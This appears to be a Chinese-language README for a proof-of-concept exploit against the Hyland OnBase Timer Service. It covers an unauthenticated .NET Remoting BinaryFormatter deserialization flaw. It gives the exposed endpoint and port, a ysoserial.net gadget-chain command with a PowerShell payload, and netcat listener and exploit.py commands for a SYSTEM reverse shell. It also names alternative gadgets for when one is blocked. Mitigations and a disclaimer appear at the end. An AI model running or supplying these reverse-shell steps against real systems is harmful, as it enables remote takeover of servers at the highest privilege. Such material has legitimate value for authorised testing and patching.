📡 Hyland OnBase 定时服务未授权 RCE

Mohammed Idrees Banyamer

安全研究员

约旦 🇯🇴

🧨 概述

本仓库包含针对 Hyland OnBase 定时服务 未授权远程代码执行漏洞的概念验证（PoC）利用程序，该漏洞源于不安全的 .NET Remoting BinaryFormatter 反序列化。

该漏洞允许未授权攻击者向定时服务端点发送精心构造的 BinaryFormatter 载荷，并以 NT AUTHORITY\SYSTEM 权限执行任意代码。

• 产品： Hyland OnBase Workflow / Workview 定时服务
• 端口： 8900/TCP
• 认证： 不需要
• 影响： 远程代码执行
• 权限： SYSTEM
• CVE： CVE‑2026‑26221
• CVSS： 9.8（严重）

⚙️ 技术细节

定时服务暴露了一个 .NET Remoting 端点：

http://TARGET:8900/TimerServiceAPI.rem

该服务接受未认证的 BinaryFormatter 对象。 通过提供恶意的 gadget 链（ysoserial.net），在反序列化过程中即可执行任意命令。

📦 环境要求

• Python 3
• requests
• ysoserial.net
• netcat 监听器
• Windows 载荷生成环境（Windows / Mono / Wine）

安装 Python 依赖：

pip install requests

下载 ysoserial.net：

git clone https://github.com/pwntester/ysoserial.net

🚀 使用方法

1️⃣ 启动监听器

nc -lvnp 4444

2️⃣ 运行利用程序

python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444

3️⃣ 生成载荷

脚本会输出一条 ysoserial 命令。 在另一个终端（Windows / Mono）中运行：

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin

4️⃣ 发送载荷

载荷生成完成后，在利用终端中按 ENTER 键。

如果目标存在漏洞 → 反向 shell 将建立连接。

🧪 示例

python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001

🔧 选项

🧯 注意事项

• 该利用程序是盲打的

• 成功标志 = 反向 shell 回调

• 服务以 SYSTEM 权限运行

• 如果被拦截，尝试其他 gadget：

  • TextFormattingRunProperties
  • ObjectDataProvider

🛡️ 缓解措施

• 应用 Hyland 安全公告 OB2025‑03 中的补丁
• 禁用 .NET Remoting 暴露
• 限制 8900 端口的访问
• 监控 BinaryFormatter 的使用

📊 PoC 攻击流程

sequenceDiagram
    participant A as 攻击者
    participant Y as ysoserial.net
    participant T as 目标 OnBase 定时服务
    participant S as SYSTEM Shell

    A->>A: 启动 netcat 监听器
    A->>Y: 生成 BinaryFormatter 载荷
    Y-->>A: rev_shell.bin
    A->>T: HTTP POST /TimerServiceAPI.rem
    T->>T: BinaryFormatter.Deserialize()
    T->>S: 执行 gadget 链
    S-->>A: 反向 shell 连接

⚠️ 免责声明

本利用程序仅供以下用途：

• 安全研究
• 授权的渗透测试
• 防御性验证

未经授权对非您所有或未经许可的系统使用本程序属于违法行为。